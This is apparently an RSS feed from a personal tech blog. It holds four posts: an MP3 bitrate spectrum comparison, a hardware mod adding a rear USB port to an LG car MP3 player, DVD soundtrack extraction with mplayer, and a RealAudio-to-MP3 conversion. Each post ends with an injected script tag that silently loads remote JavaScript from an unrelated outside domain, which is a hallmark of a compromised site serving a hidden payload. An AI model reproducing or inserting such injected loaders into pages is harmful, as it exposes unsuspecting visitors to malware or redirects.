<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; mp3</title>
	<atom:link href="http://www.larsen-b.com/tags/mp3/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>MP3 Bitrates compared</title>
		<link>http://www.larsen-b.com/Article/273.html</link>
		<comments>http://www.larsen-b.com/Article/273.html#comments</comments>
		<pubDate>Sat, 03 Nov 2007 13:11:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hifi]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[mp3]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[A lot of people use some mp3 files right now. I decided to take a look at a spectrum analysis of a sound file at different bitrates. The result is really something, I doesn&#8217;t expected.. The original wave file is &#8230; <a href="http://www.larsen-b.com/Article/273.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>A lot of people use some mp3 files right now. I decided to take a look at a spectrum analysis of a sound file at different bitrates. The result is really something, I doesn&#8217;t expected..</p>
<p>The original wave file is a radio (FM) recorded&#8230; I chose this one, cause this radio have a big noise on the upper part of the spectrum.</p>
<p>Original:</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/spectrum_original.png" alt="http://jkx.larsen-b.com/photos/blog/spectrum_original.png" /></p>
<p>b = 128</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/spectrum_128.png" alt="http://jkx.larsen-b.com/photos/blog/spectrum_128.png" /></p>
<p>b = 192</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/spectrum_192.png" alt="http://jkx.larsen-b.com/photos/blog/spectrum_192.png" /></p>
<p>b = 224</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/spectrum_224.png" alt="http://jkx.larsen-b.com/photos/blog/spectrum_224.png" /></p>
<p>Variable bitrate</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/spectrum_variable.png" alt="http://jkx.larsen-b.com/photos/blog/spectrum_variable.png" /></p>
<p>What we clearly see, it that mp3 encoder (lame here) use a expander, and this is quite a good stuff. I think I should have normalized the input.. but..</p>
<p>After that point, we clearly see it cuts the around 16Khz, I know that my computer system isn&#8217;t able to achieve this level, but my stereo system can.</p>
<p>First results show that Ogg give a better results but this is for a future post.</p>
<p><strong>Enjoy sound</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/273.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Howto hack USB port on a  LG LAC-M6500R  MP3 Player (CD/Radio/MP3 Player)</title>
		<link>http://www.larsen-b.com/Article/257.html</link>
		<comments>http://www.larsen-b.com/Article/257.html#comments</comments>
		<pubDate>Sun, 04 Mar 2007 13:06:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Some friends buy me a nice MP3 player for my car last year (birthday): LAC-M6500R This stuff looks great and you can even plug a hard-drive. The main issue is that the firmware only support 999 files on a single &#8230; <a href="http://www.larsen-b.com/Article/257.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Some friends buy me a nice MP3 player for my car last year (birthday): <a class="reference" href="http://uk.shopping.com/xPF-LG-CD-car-radio-LAC-M6500R-LAC6500R">LAC-M6500R</a></p>
<p>This stuff looks great and you can even plug a hard-drive. The main issue is that the firmware only support 999 files on a single USB device, so that&#8217;s enougth for ~4Go of MP3 but not more. So I decided to buy some USB  sticks, it&#8217;s far more simple .. no external power supply, and just the room to place a quite large MP3 collection (simply buy 2/3 sticks and that rules)</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02235.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02235.sized.jpg" /></div>
<p>That&#8217;s ok, but hum, as you can see on this picture the USB plug is on the front panel. And that&#8217;s a mess, cause you have to unplugged it when you want to remove the front panel (some infamous guys already try to open my car 4 times..), or to put a CD in. Beside this is a gift, I decided to open it, and try add a external USB in the back. I think my friends will understand this: &#8220;If you can&#8217;t open it, you don&#8217;t own it&#8221; ..</p>
<p>First, I decided to open the front panel, to look how the USB plug is connected. As you can see on the aboves pictures, the USB power-supply come form the main board.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02242.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02242.sized.jpg" /></div>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02541.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02541.sized.jpg" /></div>
<p>That&#8217;s fine.. We simply have to add take the power from the source ..</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02542.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02542.sized.jpg" /></div>
<p>When I look closely, I discover that the PSU provide 5.5v instead of 5.0v. The main reason, is that the front panel contain a small chips do the final regulation.. Ok, we can do the same ? :) I used a low drop 5.0v regulator: <a class="reference" href="http://www.national.com/pf/LP/LP38691.html">LP38691</a> with 2 small caps..</p>
<div class="image"><img src="http://www.national.com/images/pf/LP38691/20126501.jpg" alt="http://www.national.com/images/pf/LP38691/20126501.jpg" /></div>
<p>The final step, is to connect the data bus (DATA- / DATA+), this was really hard, because the front panel USB bus is connected to the main decoder board throught a small wire. As I&#8217;m not able to find the right plug, I decided to solder it on the board ..</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02553.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02553.sized.jpg" /></div>
<p>So we have something like this:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/LG_gschm.png" alt="http://jkx.larsen-b.com/photos/Electronic/LG_gschm.png" /></div>
<p>The small PCB:</p>
<p>As you can see on this picture, on the left, there is the wires from the main board, and the 5.0v regulator. On the right the wire that goes to the decoder board, and  the external new USB connector.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02551.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02551.sized.jpg" /></div>
<p>Here the finished product:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02558.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02558.sized.jpg" /></div>
<p>Ok, that&#8217;s fine, now, you can place this small board in system (there is a lot of room), and enjoy the external USB cable ;)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/257.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Extract soundtrack (MP3) from DVD with mplayer</title>
		<link>http://www.larsen-b.com/Article/186.html</link>
		<comments>http://www.larsen-b.com/Article/186.html#comments</comments>
		<pubDate>Sun, 26 Dec 2004 01:40:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[divx]]></category>
		<category><![CDATA[dvd]]></category>
		<category><![CDATA[mp3]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I &#8216;m wondering if i gonna add a mplayer tips here ? :) To extract a mp3 from a DVD, the easy way is to use transcode transcode -i /dev/dvd -x dvd -T 1,2,1 -a 0 -y raw -m track22.mp3 &#8230; <a href="http://www.larsen-b.com/Article/186.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I &#8216;m wondering if i gonna add a mplayer tips here ? :)</p>
<p>To extract a mp3 from a DVD, the easy way is to use transcode</p>
<pre class="literal-block">transcode -i /dev/dvd -x dvd -T 1,2,1 -a 0 -y raw -m track22.mp3</pre>
<p>But sometimes, this doesn&#8217;t works.. in fact I get a random transcode segfault. As mplayer is the perfect video kniffe. I decided to test this w/ mplayer</p>
<pre class="literal-block">mplayer -ao pcm dvd://1 -chapter 22</pre>
<p>This won&#8217;t build a .mp3 but a big wave file, not matter lame is my friend anyways.</p>
<p>PS: The latest <a class="reference" href="http://www.transcoding.org/cgi-bin/transcode">transcode</a> should fix the issue, but I&#8217;m unable to build it on my debian. libavcodec2-dev is broken. (Wondering why i&#8217;m still using this distro &#8230; :(</p>
<p>&#8211; thanks #mplayer for the help (as usual)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/186.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Convert Realaudio stream to wav / mp3 on linux</title>
		<link>http://www.larsen-b.com/Article/127.html</link>
		<comments>http://www.larsen-b.com/Article/127.html#comments</comments>
		<pubDate>Sun, 13 Jun 2004 13:11:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I really enjoy to listen radio. Most of the radio use Realaudio stream. On Un*x, you usually can use realplayer. Now i want to convert this stream to mp3 in order to listen it on my mp3 player. Howto: First &#8230; <a href="http://www.larsen-b.com/Article/127.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I really enjoy to listen radio. Most of the radio use Realaudio stream. On Un*x, you usually can use realplayer. Now i want to convert this stream to mp3 in order to listen it on my mp3 player.</p>
<p>Howto:</p>
<ul class="simple">
<li>First down the .ram file</li>
<li>open it to find the rtsp url (something like <a class="reference" href="rtsp://XXXX/stream.rm">rtsp://XXXX/stream.rm</a>)</li>
<li>ask mplayer to encode it in wav</li>
<li>next transform it to mp3 (with lame)</li>
</ul>
<pre class="literal-block">mplayer -cache 10 -ao pcm -aofile stream.wav  rtsp://XXXX/stream.rm
lame stream.wav</pre>
<p>I wrote a little script to do this directly look at <a class="reference" href="http://www.larsen-b.com/static/down/realRip.py">realRip</a> for more informations. To use it simply call &#8220;realRip.py stream.ram&#8221; or &#8220;realRip.py <a class="reference" href="http://XXXX/stream.ram">http://XXXX/stream.ram</a>&#8221; (it will download the ram file and parse it..)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/127.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>
